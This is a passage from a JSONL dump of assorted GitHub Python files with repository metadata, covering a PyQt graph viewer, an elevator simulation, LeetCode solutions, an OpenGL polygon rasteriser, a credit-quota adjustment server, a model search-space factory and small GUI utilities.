in self.graph.edges(data=True)}\r\n\r\n color_list=[]\r\n for node in self.graph.nodes:\r\n if node == self.source or node == self.target:\r\n color_list.append('yellow')\r\n elif node in path_list:\r\n color_list.append('red')\r\n else:\r\n color_list.append('blue')\r\n\r\n node_colors = ['red' if node in path_list else 'yellow' for node in self.graph.nodes]\r\n \r\n \r\n nx.draw(self.graph, self.pos, with_labels=True, node_size=1000, node_color=color_list, font_size=10, font_color='black', font_weight='bold', ax=ax, font_family='Malgun Gothic')\r\n \r\n\r\n nx.draw_networkx_edge_labels(self.graph, self.pos, edge_labels=edge_labels, font_size=8, font_color='black')\r\n\r\n self.canvas.draw()\r\n\r\n def targetAndSorce(self):\r\n text1 = self.text_input.text()\r\n self.label3.setText(text1)\r\n self.source = text1\r\n\r\n text2 = self.text_input2.text()\r\n self.label4.setText(text2)\r\n self.target = text2\r\n\r\n self.update_graph()\r\n\r\n def on_press(self, event):\r\n if event.button == 1:\r\n x, y = event.xdata, event.ydata\r\n for node, (nx, ny) in self.pos.items():\r\n if abs(x - nx) <= 0.1 and abs(y - ny) <= 0.1: # 노드 위치 근처를 클릭했을 때\r\n self.selected_node = node\r\n self.dragging = True\r\n self.offset = (x - nx, y - ny)\r\n break\r\n\r\n def on_motion(self, event):\r\n if self.dragging:\r\n x, y = event.xdata, event.ydata\r\n self.pos[self.selected_node] = (x - self.offset[0], y - self.offset[1])\r\n self.update_graph()\r\n\r\n def on_release(self, event):\r\n if event.button == 1:\r\n self.dragging = False\r\n self.selected_node = None\r\n print(self.pos)\r\n\r\n\r\nif __name__ == '__main__':\r\n # G = grap() # csv 파일을 DataFrame으로 읽고 그래프로 만들기\r\n\r\n \r\n\r\n # QApplication은 PyQt에서 GUI 애플리케이션을 시작하는 데 사용되는 클래스이다.\r\n # 이 클래스의 인스턴스를 생성하면 QT 애플리케이션의 기본 환경을 설정한다.\r\n # QApplication 클래스의 인스턴스를 생성, sys.argv 변수는 Python 프로그램이 실행될 떄 전달된 명령줄 인수를 저장한다.\r\n app = QApplication(sys.argv)\r\n\r\n\r\n window = GraphViewer()\r\n window.show()\r\n sys.exit(app.exec_())\r\n\r\n\r\n\r\n\r\n\r\n\r\n# 이벤트 핸들러는 이벤트가 발생했을 때 실행될 함수를 말한다.\r\n# 이벤트 핸들러는 이벤트를 처리하기 위해 이벤트가 발생했을 때 실행될 함수를 등록하는 것으로 구현된다.\r\n# 이벤트가 발생하면 등록된 이벤트 핸들러가 실행되며, 이를 통해 필요한 동작을 수행할 수 있다.\r\n\r\n# while 문은 없지만 이벤트 핸들러를 통해 무한 루프를 실행한다. 즉, 사용자가 마우스 버튼을 놓을 때 까지 실행된다.\r\n\r\n# 이벤트 핸들러는 canvas.mpl_connect() 함수로 만든다. 이 함수는 이벤트 유형과 이벤트 핸들럴 함수를 매개변수로 받는다.\r\n# 이벤트 유형은 마우스 버튼 클릭, 마우스 움직임, 키보드 입력 등 다양한 이벤트를 나타낸다.\r\n# 이벤트 핸들러 함수는 이벤트가 발생했을 때 호출되는 함수이다.\r\n\r\n","repo_name":"kdahun/relationshipPyQt","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":7849,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7160934659","text":"#Write with \"filename\", \"w\" and .write() will overwrite a file or create one\nhello_file = open(\"hello.txt\", \"w\") \nhello_file.write(\"Goodbye\")\nhello_file.close()\n\n# don't have to call close with this syntax:\nwith open(\"person.txt\", \"w\") as person_file:\n person_file.write(\"Simone\")\n\n#append to a file with \"a\"\nwith open(\"person.txt\", \"a\") as person_file:\n person_file.write(\"\\nSimone\")\n\n# strange things are happening here:\n# with open(\"person.txt\", \"r+\") as person_file:\n# print(person_file.read())\n# person_file.write(\"\\nSimone\")\n# print(person_file.read())\n# person_file.close()\n# person_file = open(\"person.txt\")\n\nwith open('numbers/primes.txt', \"r\") as primes:\n primes_list = primes.readlines()\n for i in range(len(primes_list)):\n primes_list[i] = str(int(primes_list[i]) * 2)\n double_primes = open(\"numbers/double_primes.txt\", \"r+\")\n double_primes.write(\"\\n\".join(primes_list))\n double_primes.close()\n\n\nwith open(\"numbers/fives.txt\", \"r\") as fives:\n fives_list = fives.readlines()\n fives_collect = []\n for line in fives_list:\n if \"five\" in line.lower() or \"fift\" in line.lower():\n fives_collect.append(line)\n contains_five = open(\"numbers/contains_five.txt\", \"w\")\n contains_five.write(\"\".join(fives_collect))\n contains_five.close()\n","repo_name":"sschneeberg/python_scripting","sub_path":"my_script.py","file_name":"my_script.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32406950560","text":"def subarraySum(nums, k):\r\n if nums is None or len(nums) == 0:\r\n return 0\r\n count = 0\r\n last = 0\r\n d = dict({0:1})\r\n for i in range (0,len(nums)):\r\n last += nums[i]\r\n if (last - k) in d:\r\n count +=d[last - k]\r\n if(last in d):\r\n d[last] +=1\r\n else :\r\n d[last] = 1\r\n for k,v in d.items():\r\n print (k,\"*\"*8,v)\r\n return count\r\nnums = [3,4,7,2,-3,1,4,2]\r\nk = 7\r\nnum1 = [-1,-1,1]\r\n\r\nk1 = 0\r\nprint(subarraySum(num1,k1) )\r\n\r\n\r\n\r\n","repo_name":"MESragelden/leetCode","sub_path":"Subarray Sum Equals K.py","file_name":"Subarray Sum Equals K.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"45097810980","text":"\"\"\"CSC148 Assignment 1 - Simulation\r\n\r\n=== CSC148 Fall 2018 ===\r\nDepartment of Computer Science,\r\nUniversity of Toronto\r\n\r\n=== Module description ===\r\nThis contains the main Simulation class that is actually responsible for\r\ncreating and running the simulation. You'll also find the function `sample_run`\r\nhere at the bottom of the file, which you can use as a starting point to run\r\nyour simulation on a small configuration.\r\n\r\nNote that we have provided a fairly comprehensive list of attributes for\r\nSimulation already. You may add your own *private* attributes, but should not\r\nremove any of the existing attributes.\r\n\"\"\"\r\n# You may import more things from these modules (e.g., additional types from\r\n# typing), but you may not import from any other modules.\r\nfrom typing import Dict, List, Any\r\n\r\nimport algorithms\r\nfrom entities import Person, Elevator\r\nfrom visualizer import Visualizer\r\n\r\n\r\nclass Simulation:\r\n \"\"\"The main simulation class.\r\n\r\n === Attributes ===\r\n arrival_generator: the algorithm used to generate new arrivals.\r\n elevators: a list of the elevators in the simulation\r\n moving_algorithm: the algorithm used to decide how to move elevators\r\n num_floors: the number of floors\r\n visualizer: the Pygame visualizer used to visualize this simulation\r\n waiting: a dictionary of people waiting for an elevator\r\n (keys are floor numbers, values are the list of waiting people)\r\n completed: a list of people who have completed their journey\r\n num_rounds:\r\n \"\"\"\r\n arrival_generator: algorithms.ArrivalGenerator\r\n elevators: List[Elevator]\r\n moving_algorithm: algorithms.MovingAlgorithm\r\n num_floors: int\r\n visualizer: Visualizer\r\n waiting: Dict[int, List[Person]]\r\n completed: List[Person]\r\n num_rounds: int\r\n\r\n def __init__(self,\r\n config: Dict[str, Any]) -> None:\r\n \"\"\"Initialize a new simulation using the given configuration.\"\"\"\r\n\r\n self.arrival_generator = config[\"arrival_generator\"]\r\n self.moving_algorithm = config[\"moving_algorithm\"]\r\n self.elevators = []\r\n count = 0\r\n while not count == config[\"num_elevators\"]:\r\n self.elevators.append(Elevator(config[\"elevator_capacity\"]))\r\n count += 1\r\n self.num_floors = config[\"num_floors\"]\r\n count2 = 0\r\n self.waiting = {}\r\n while not count2 == config[\"num_floors\"]:\r\n self.waiting[count2 + 1] = []\r\n count2 += 1\r\n self.completed = []\r\n self.num_rounds = 0\r\n\r\n # Initialize the visualizer.\r\n # Note that this should be called *after* the other attributes\r\n # have been initialized.\r\n self.visualizer = Visualizer(self.elevators\r\n , self.num_floors\r\n , config['visualize'])\r\n\r\n ############################################################################\r\n # Handle rounds of simulation.\r\n ############################################################################\r\n def run(self, num_rounds: int) -> Dict[str, Any]:\r\n \"\"\"Run the simulation for the given number of rounds.\r\n\r\n Return a set of statistics for this simulation run, as specified in the\r\n assignment handout.\r\n\r\n Precondition: num_rounds >= 1.\r\n\r\n Note: each run of the simulation starts from the same initial state\r\n (no people, all elevators are empty and start at floor 1).\r\n \"\"\"\r\n for i in range(num_rounds):\r\n self.num_rounds += 1\r\n\r\n self.visualizer.render_header(i)\r\n\r\n # Stage 1: generate new arrivals\r\n self._generate_arrivals(i)\r\n\r\n # Stage 2: leave elevators\r\n self._handle_leaving()\r\n\r\n # Stage 3: board elevators\r\n self._handle_boarding()\r\n\r\n for elevator in self.elevators:\r\n for person in elevator.passengers:\r\n person.increase_wait_time()\r\n\r\n for floor in self.waiting:\r\n for person in self.waiting[floor]:\r\n person.increase_wait_time()\r\n\r\n # Stage 4: move the elevators using the moving algorithm\r\n self._move_elevators()\r\n\r\n # Pause for 1 second\r\n self.visualizer.wait(1)\r\n\r\n return self._calculate_stats()\r\n\r\n def _generate_arrivals(self, round_num: int) -> None:\r\n \"\"\"Generate and visualize new arrivals.\"\"\"\r\n new_people = self.arrival_generator.generate(round_num)\r\n for _, people in new_people.items():\r\n if not people == []:\r\n for floor in new_people:\r\n count = 0\r\n while not count == len(new_people[floor]):\r\n self.waiting[floor] = [new_people[floor].pop()] + \\\r\n self.waiting[floor]\r\n self.visualizer.show_arrivals(self.waiting)\r\n else:\r\n return None\r\n\r\n def _handle_leaving(self) -> None:\r\n \"\"\"Handle people leaving elevators.\"\"\"\r\n count = 0\r\n for elevator in self.elevators:\r\n for person in elevator.passengers:\r\n count += 1\r\n if person.target == elevator.current_floor:\r\n self.visualizer.show_disembarking(person, elevator)\r\n elevator.passengers.remove(person)\r\n self.completed.append(person)\r\n\r\n def _handle_boarding(self) -> None:\r\n \"\"\"Handle boarding of people and visualize.\"\"\"\r\n for elevator in self.elevators:\r\n while not len(self.waiting.get(elevator.current_floor)) == 0 and \\\r\n not len(elevator.passengers) == elevator.max_capacity:\r\n person = self.waiting.get(elevator.current_floor).pop()\r\n self.visualizer.show_boarding(person, elevator)\r\n elevator.passengers += [person]\r\n\r\n def _move_elevators(self) -> None:\r\n \"\"\"Move the elevators in this simulation.\r\n Use this simulation's moving algorithm to move the elevators.\r\n \"\"\"\r\n moves = self.moving_algorithm.move_elevators(self.elevators,\r\n self.waiting,\r\n self.num_floors)\r\n self.visualizer.show_elevator_moves(self.elevators, moves)\r\n\r\n ############################################################################\r\n # Statistics calculations\r\n ############################################################################\r\n\r\n def _calculate_stats(self) -> Dict[str, int]:\r\n \"\"\"Report the statistics for the current run of this simulation.\r\n \"\"\"\r\n total_people = 0\r\n sum_wait_time = 0\r\n max_wait = 0\r\n min_wait = self.num_rounds\r\n for floor in self.waiting:\r\n total_people += len(self.waiting[floor])\r\n\r\n for elevator in self.elevators:\r\n total_people += len(elevator.passengers)\r\n\r\n for person in self.completed:\r\n sum_wait_time += person.wait_time\r\n if min_wait > person.wait_time:\r\n min_wait = person.wait_time\r\n if max_wait < person.wait_time:\r\n max_wait = person.wait_time\r\n total_people += len(self.completed)\r\n avg_time = sum_wait_time / len(self.completed)\r\n print(f'{min_wait} {avg_time} {max_wait}')\r\n return {\r\n 'num_iterations': self.num_rounds,\r\n 'total_people': total_people,\r\n 'people_completed': len(self.completed),\r\n 'max_time': max_wait,\r\n 'min_time': min_wait,\r\n 'avg_time': avg_time\r\n }\r\n\r\n\r\ndef sample_run() -> Dict[str, int]:\r\n \"\"\"Run a sample simulation, and return the simulation statistics.\"\"\"\r\n config = {\r\n 'num_floors': 5,\r\n 'num_elevators': 2,\r\n 'elevator_capacity': 1,\r\n # This is likely not used.\r\n 'num_people_per_round': 2,\r\n 'arrival_generator': algorithms.FileArrivals(5, 'sample_arrivals.csv'),\r\n 'moving_algorithm': algorithms.ShortSighted(),\r\n # Note that we aren't visualizing anything here.\r\n # Your code should still work properly (and run a lot faster) with this\r\n # set to False.\r\n 'visualize': True\r\n }\r\n sim = Simulation(config)\r\n num_rounds = 10\r\n results = sim.run(num_rounds)\r\n return results\r\n\r\n\r\nif __name__ == '__main__':\r\n # Uncomment this line to run our sample simulation (and print the\r\n # statistics generated by the simulation).\r\n # import python_ta\r\n #\r\n # python_ta.check_all(config={\r\n # 'extra-imports': ['entities', 'visualizer', 'algorithms', 'time'],\r\n # 'max-nested-blocks': 4\r\n # })\r\n print(sample_run())\r\n","repo_name":"KenSB/Elevator-Simulator","sub_path":"Elevator Sim/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":8847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9031270142","text":"class Solution:\n def partition(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\"\n if not s:\n return [[]]\n res = []\n self.help(s,[],res)\n return res\n \n def help(self,s,cur,res):\n for i in range(len(s)):\n if self.isPalindrome(s[:i+1]):\n if i==len(s)-1:\n res.append(cur+[s])\n return \n self.help(s[i+1:],cur+[s[:i+1]],res)\n \n def isPalindrome(self,s):\n if not s:\n return True\n left,right = 0,len(s)-1\n while left<=right:\n if s[left]!=s[right]:\n return False\n left+=1\n right-=1\n return True","repo_name":"JIANGWQ2017/Algorithm","sub_path":"Leetcode/LC131.py","file_name":"LC131.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72108255840","text":"import glfw\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nimport numpy\nfrom scipy import signal\n\nwidth = 640\nheight = 640\nbarrier = width // 2\n\n\ndef sign(x):\n if x > 0:\n return 1\n elif x < 0:\n return -1\n else:\n return 0\n\n\ndef to_pixels(c1, c2):\n return int(c1 * width / 2 + width / 2), int(c2 * height / 2 + height / 2)\n\n\ndef from_pixels(c1, c2):\n return (-1) + (c1 / width) * 2, (-1) * ((-1) + (c2 / height)*2)\n\n\nclass Polygon:\n def __init__(self):\n self.num = 0\n self.points = []\n self.point_before = []\n self.point_after = []\n self.filled = False\n self.filtered = False\n self.barrier = width // 2\n self.pixels = numpy.ones([width, height, 3], dtype=GLfloat) # многомерный массив вида [(640, 640, 3), ...]\n\n def clear(self):\n self.points = []\n\n def add_point(self, new_point):\n self.points.append(new_point)\n self.num += 1\n\n def pop_point(self, new_point):\n self.points.pop(self.num-1)\n self.num -= 1\n\n def filter(self):\n ker = (1 / 18) * numpy.array([[2, 2, 2], [2, 2, 2], [2, 2, 2]], dtype='float')\n for i in range(self.pixels.shape[2]):\n self.pixels[:, :, i] = signal.convolve2d(numpy.pad(self.pixels[:, :, i], 1), ker, 'valid')\n\n def display(self):\n self.pixels = numpy.ones([width, height, 3], dtype=GLfloat)\n glClearColor(0.0, 0.0, 0.0, 1.0)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n # зададим границы области просмотра от -1 до 1\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluOrtho2D(-1.0, 1.0, -1.0, 1.0) # определяет матрицу двухмерной ортогональной проекции\n # рисуем\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n self.drawing_through_points()\n if self.filtered:\n self.filter()\n # datta = self.pixels.reshape(width * height * 3)\n rawdata = numpy.ascontiguousarray(self.pixels)\n data = rawdata.reshape(width * height * 3)\n # пишет блок пикселей в буфер кадров\n glDrawPixels(width, height, GL_RGB, GL_FLOAT, (GLfloat * len(data))(*data))\n\n # дополняем цвет пикселей\n def inverting(self, x, y):\n if x > barrier: # правее перегородки и левее грани\n self.pixels[y, self.barrier:x, :] = 1 - self.pixels[y, self.barrier:x, :]\n else: # левее перегородки и правее грани\n self.pixels[y, x:self.barrier, :] = 1 - self.pixels[y, x:self.barrier, :]\n\n def bresenham(self, x1, y1, x2, y2):\n dx = abs(x2 - x1)\n dy = abs(y2 - y1)\n sign_x = sign(x2 - x1)\n sign_y = sign(y2 - y1)\n\n if dx > dy:\n pdx = sign_x\n pdy = 0\n es = dy\n el = dx\n else:\n pdx = 0\n pdy = sign_y\n es = dx\n el = dy\n\n x = x1\n y = y1\n er = el / 2\n self.pixels[y, x, :] = [0, 0, 0]\n if self.filled and ((self.point_after[1] - y) * (self.point_before[1] - y)) > 0:\n self.inverting(x, y)\n k = 0\n y0 = y\n while k < el:\n er -= es\n if er < 0:\n er += el\n x += sign_x\n y += sign_y\n else:\n x += pdx\n y += pdy\n k += 1\n self.pixels[y, x, :] = [0, 0, 0]\n if self.filled and y0 != y:\n self.inverting(x, y)\n y0 = y\n\n def drawing_through_points(self):\n length = len(self.points)\n if length != 0:\n self.point_before = to_pixels(*self.points[-1])\n for i in range(length):\n if i == length - 1: # начальная точка = последняя точка\n x0, y0 = to_pixels(*self.points[i])\n x1, y1 = to_pixels(*self.points[0])\n else: # от x0 до x1\n x0, y0 = to_pixels(*self.points[i])\n x1, y1 = to_pixels(*self.points[i + 1])\n\n self.point_after = [x1, y1] # следующая точка\n self.bresenham(x0, y0, x1, y1) # соединяем\n self.point_before = [x0, y0] # сохраняем текущую точку\n\n\npolygon = Polygon()\n\n\ndef mouse_callback(window, button, action, mods):\n if action == glfw.PRESS:\n if button == glfw.MOUSE_BUTTON_LEFT:\n x, y = glfw.get_cursor_pos(window)\n point = [*from_pixels(x, y)]\n polygon.add_point(point)\n if button == glfw.MOUSE_BUTTON_RIGHT:\n x, y = glfw.get_cursor_pos(window)\n point = [*from_pixels(x, y)]\n polygon.pop_point(point)\n\n\ndef key_callback(window, key, scancode, action, mods):\n if action == glfw.PRESS:\n if key == glfw.KEY_C: # clear\n polygon.clear()\n polygon.filled = False\n polygon.filtered = False\n elif key == glfw.KEY_R: # raster\n polygon.filled = True\n polygon.drawing_through_points()\n elif key == glfw.KEY_F: # filtration\n polygon.filtered = True\n polygon.filter()\n\n\ndef main():\n if not glfw.init():\n exit()\n window = glfw.create_window(width, height, \"Lab4\", None, None)\n if not window:\n glfw.terminate()\n exit()\n glfw.make_context_current(window)\n glfw.set_mouse_button_callback(window, mouse_callback)\n glfw.set_key_callback(window, key_callback)\n glViewport(0, 0, width, height)\n\n while glfw.get_key(window, glfw.KEY_ESCAPE) != glfw.PRESS and not glfw.window_should_close(window):\n polygon.display()\n glfw.swap_buffers(window)\n glfw.poll_events()\n\n glfw.destroy_window(window)\n glfw.terminate()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ynastt/bmstu-iu9","sub_path":"computer graphics (OpenGL)/lab4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40142672395","text":"# -*- coding:utf-8 -\nimport json\nimport logging\nimport traceback\n\nimport numpy as np\n\nfrom interval import Interval\nfrom mlx_database.mongo import Mongo\nfrom mlx_database.mysql import MySql\nfrom mlx_message import message_manager\nfrom mlx_server import daemon, message_server\nfrom mlx_utility import config_manager as cm\n\n\nclass JDXModifyQuota(message_server.MessageServer):\n def __init__(self):\n super(JDXModifyQuota, self).__init__()\n self.queue_flow = message_manager.get_queue(cm.config['queue_flow']['name'])\n self.mysql_ml = MySql(**cm.config['mysql_jd_cl'])\n self.mongo_derivable = Mongo(**cm.config['mongo_jd_cl'])\n self.quota_modify_strategy_list = self.get_quota_modify_strategy_list() # 获取全部额度变更策略配置\n\n def handle_msg(self, msg_dict):\n app_id = msg_dict['app_id']\n category_id = msg_dict['category_id']\n model_score = msg_dict['model_score'] # 预测的模型分\n model_name = msg_dict['model_name'] # 预测的模型名\n data = self.get_user_data_by_app_id(app_id)\n user_id = data.get('X_UserId')\n try:\n original_quota = int(float(data.get('X_JD_CreditLine'))) # 用户当前额度\n original_principal = int(float(data.get('X_pre_app_principal'))) # 用户最后一次的提现金额\n quota_modify_count = int(data.get('X_credit_adjustment_times')) # 提额次数\n # 根据模型分和当前额度选择一个额度变更策略\n quota_modify_strategy = self.get_quota_modify_strategy(category_id, model_score, original_quota)\n # 根据额度变更策略确定额度的变化标签\n modify_tag = self.get_modify_tag(quota_modify_strategy)\n\n # 最终额度\n if modify_tag >= 0:\n final_quota = round(original_quota + original_principal * modify_tag)\n else:\n final_quota = round(original_quota * (1 + modify_tag))\n\n # 用户年龄小于22时,额度打折\n try:\n if int(data['X_IdCardAge']) < 22:\n final_quota = round(final_quota * 0.5)\n except:\n pass\n\n # 额度变化值\n quota_variance = final_quota - original_quota\n\n logging.info(\"app_id:{}, final_credit:{}\".format(app_id, final_quota))\n self.queue_flow.send_message({\n \"app_id\": app_id,\n \"job_name\": msg_dict['job_name'],\n \"final_quota\": str(final_quota)\n })\n # 保存额度变更结果\n self.save_quota_modify_results(app_id, user_id, category_id, quota_modify_strategy['modify_name'],\n model_score,\n model_name, original_quota, original_principal,\n quota_modify_strategy['score_segment'],\n quota_modify_strategy['quota_segment'], quota_modify_strategy['level'], quota_variance, final_quota,\n quota_modify_count)\n except:\n logging.warning(traceback.format_exc())\n final_quota = int(float(data.get('X_JD_CreditLine')))\n quota_variance = 0\n logging.info(\"app_id:{}, final_credit:{}\".format(app_id, final_quota))\n self.queue_flow.send_message({\n \"app_id\": app_id,\n \"job_name\": msg_dict['job_name'],\n \"final_quota\": str(final_quota)\n })\n # 保存额度变更结果\n self.save_quota_modify_results(app_id, user_id, category_id, '', model_score, model_name,\n data.get('X_JD_CreditLine'), -1, '', '', 0, quota_variance, final_quota,\n data.get('X_credit_adjustment_times'))\n\n def get_quota_modify_strategy(self, category_id, model_score, original_quota):\n for quota_modify_strategy in self.quota_modify_strategy_list:\n score_segment = json.loads(quota_modify_strategy['score_segment'])\n quota_segment = json.loads(quota_modify_strategy['quota_segment'])\n score_in = model_score in Interval(score_segment[0], score_segment[1], upper_closed=False)\n quota_in = original_quota in Interval(quota_segment[0], quota_segment[1], upper_closed=False)\n if quota_modify_strategy['category_id'] == category_id and score_in and quota_in:\n return quota_modify_strategy\n\n def get_modify_tag(self, quota_modify_strategy):\n action_space = json.loads(quota_modify_strategy['action_space'])\n action_prob = json.loads(quota_modify_strategy['action_prob'])\n rand = np.random.random()\n modify_prob = 0\n for i, prob in enumerate(action_prob):\n modify_prob += prob\n if rand < modify_prob:\n modify_tag = action_space[i]\n return modify_tag\n\n def save_quota_modify_results(self, app_id, user_id, category_id, modify_name, model_score, model_name,\n original_quota, original_principal, score_segment,\n quota_segment, level, quota_variance, final_quota, quota_modify_count,\n table='jdx_quota_modify_results'):\n sql = \"insert into {} (app_id,user_id,category_id,modify_name,model_score,model_name,original_quota,\" \\\n \"original_principal,score_segment,quota_segment,level,quota_variance,final_quota,quota_modify_count) \" \\\n \"values ('{}', '{}', '{}', '{}', {}, '{}',{},{}, '{}','{}',{},{},{},{})\". \\\n format(table, app_id, user_id, category_id, modify_name, model_score, model_name, original_quota,\n original_principal,score_segment, quota_segment,level,quota_variance, final_quota, quota_modify_count)\n self.mysql_ml.update(sql)\n\n def get_quota_modify_strategy_list(self, table='jdx_quota_modify_configs'):\n sql = \"select modify_name,category_id,score_segment,quota_segment,level,action_space,action_prob \" \\\n \"from {} where is_setup=1;\" \\\n .format(table)\n quota_modify_strategy_list = self.mysql_ml.query(sql)\n return quota_modify_strategy_list\n\n def get_user_data_by_app_id(self, app_id, collection='derivables'):\n key_lists = ['X_UserId', 'X_JD_CreditLine', 'X_pre_app_principal', 'X_credit_adjustment_times',\n 'X_IdCardAge']\n fields = {x: 1 for x in key_lists}\n data = self.mongo_derivable.get_collection(collection).find_one({'_id': app_id.upper()}, fields)\n return data\n\n\nclass JDXModifyQuotaDaemon(daemon.Daemon):\n def setup_server(self):\n self.server = JDXModifyQuota()\n\n\nif __name__ == '__main__':\n JDXModifyQuotaDaemon().main()\n","repo_name":"ztttttttt/work_file_1","sub_path":"jdxserver/jdx_modify_quota/jdx_modify_quota_server.py","file_name":"jdx_modify_quota_server.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34898425810","text":"\"\"\"\nChild class of Model for the GradienBoostingRegressor.\n\"\"\"\n\nfrom typing import Any, Mapping\nfrom ray import tune\nfrom sklearn.ensemble import GradientBoostingRegressor\nfrom models.generic_model import ModelFactory\nfrom utils.tune_utils import loguniform_int\n\n\n# Pylint rating 9.96: R0801-Error only in this way possible to disable\n# pylint: disable-all\nclass GBRFactory(ModelFactory):\n \"\"\"Gradient Boosting Factory\"\"\"\n\n @staticmethod\n def search_space() -> Mapping[str, Any]:\n \"\"\"The models search space.\n\n :param:\n None\n :return:\n Search space of the model.\n \"\"\"\n\n return {\n \"model_type\": \"GradientBoosting\",\n \"loss\": tune.choice([\"ls\", \"huber\"]),\n \"max_leaf_nodes\": loguniform_int(10, 500),\n \"learning_rate\": tune.uniform(0.3, 0.1),\n \"min_impurity_decrease\": tune.uniform(0.0, 0.1),\n \"subsample\": tune.uniform(0.8, 1),\n \"n_estimators\": loguniform_int(50, 500),\n \"min_samples_split\": tune.uniform(0, 1),\n \"min_samples_leaf\": tune.uniform(0, 0.4)\n }\n\n @staticmethod\n def from_config(config: Mapping[str, Any]) -> Any:\n \"\"\"\n Initializes the model.\n\n :param config:\n Contains the parameters defined in the search_space of the model.\n :return:\n None\n\n \"\"\"\n\n return GradientBoostingRegressor(loss=config['loss'],\n max_leaf_nodes=config['max_leaf_nodes'],\n learning_rate=config['learning_rate'],\n min_impurity_decrease=config['min_impurity_decrease'], # noqa # pylint: disable=line-too-long, bad-option-value\n subsample=config['subsample'],\n n_estimators=config['n_estimators'],\n min_samples_split=config['min_samples_split'],\n min_samples_leaf=config['min_samples_leaf'])\n","repo_name":"Tanveer81/deep_horizon","sub_path":"src/models/treebased_models/gbr_fact.py","file_name":"gbr_fact.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"74758273760","text":"import os,os.path\r\nimport winsound\r\nfrom PIL import Image as IM\r\nfrom PIL import ImageTk\r\nfrom tkinter import *\r\n\r\nroot = Tk();root.title(\"WinSC.Ver1\")\r\n\r\ncanvas = Canvas(root,width = 500,height = 600)\r\ncanvas.pack()\r\n\r\nnum = 0\r\n\r\n#背景图片和图标\r\nimage = ImageTk.PhotoImage((IM.open(\"D://DeskPicture//F.jpg\")).resize((500,600)))\r\nimage2 = ImageTk.PhotoImage((IM.open(\"D://DeskPicture//B.jpg\")).resize((500,600)))\r\nimage3 = ImageTk.PhotoImage(IM.open(\"D://DeskPicture//O.jpg\").resize((500,600)))\r\nexiticon = ImageTk.PhotoImage(IM.open(\"D://material//little//exit.png\").resize((40,40),IM.ANTIALIAS))\r\n\r\n#获取滑块指示的频率和持续时间\r\ndef winspeaker():\r\n duty = scaleduty.get()*10 # max = 1s\r\n winsound.Beep(scalefre.get(),duty)\r\n\r\n\"\"\"\r\n重绘canvas时必须指定image在画布上的中心位置,否则导致元组索引越界\r\nIndexError: tuple index out of range\r\n\"\"\"\r\ndef mousecall(event):\r\n global num\r\n num += 1\r\n if num ==1:\r\n canvas.create_image((250,300),image = image)#必须指定image中心位置的元组\r\n elif num == 2:\r\n canvas.create_image((250,300),image = image2)\r\n elif num == 3:\r\n canvas.create_image((250,300),image = image3)\r\n num = 0\r\n #print(num)\r\n\r\ndef sysexit():\r\n winsound.PlaySound(\"SystemExit\",winsound.SND_ALIAS)\r\n sys.exit(0)\r\n\r\ncanvas.create_image((250,300),image = image,anchor = CENTER)\r\ncanvas.bind(\"\",mousecall) #绑定鼠标右键\r\n\r\n#调节持续时间\r\nscaleduty = Scale(root,from_ = 0,to = 100,resolution = 5,orient = HORIZONTAL,troughcolor = \"#00ffff\")\r\nscaleduty.config(length = 500,label = \"Duty\",width = 10,activebackground = \"#32cd32\",fg = \"#0000ff\",sliderlength = 20)\r\nscaleduty.place(x = 00,y = 485)\r\nscaleduty.set(50)#设置默认的持续时间:50ms\r\n\r\n#调节Beep频率:100-32700Hz\r\nscalefre = Scale(root,from_ = 100,to = 32700)\r\nscalefre.config(resolution = 200,orient = HORIZONTAL,length = 500,label = \"Fre\")\r\nscalefre.config(activebackground = \"#76ee00\",troughcolor = \"#00ee00\",showvalue = True)\r\nscalefre.config(highlightbackground = \"#caff70\",width = 10,sliderlength = 20,fg = \"#76ee00\")\r\nscalefre.place(x = 00,y = 543)\r\nscalefre.set(5000)#设置默认频率:5KHz\r\n\r\nbeep = Button(root,text = \"嘟嘟\",command = winspeaker,fg = \"#ff4500\",bg = \"#90ee90\",cursor = \"hand2\")\r\nbeep.config(highlightcolor = \"#c0ff3e\")\r\nbeep.place(x= 465,y = 410)\r\n\r\nButton(root,image = exiticon,command = sysexit,cursor = \"hand2\").place(x = 460,y = 440)\r\n\r\nroot.mainloop()\r\n\r\n\r\n\r\n","repo_name":"Iflier/Python-gadget-dooble","sub_path":"WinSCVer1.py","file_name":"WinSCVer1.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9417581037","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 07 15:03:41 2014\n\n@author: Ray\n\"\"\"\nimport numpy as py\nimport matplotlib.pyplot as plt\n\nclass imshow_helper:\n \n def __init__(self,ax,img):\n self.ax = ax\n self.img = img\n self.ax.format_coord = self.format_coord\n self.numrows, self.numcols = self.img.shape\n \n def format_coord(self,x,y):\n col = int(x+0.5)\n row = int(y+0.5)\n if col>=0 and col=0 and row 0: # 남은 문자열에 현재 글자가 있다면\n error += 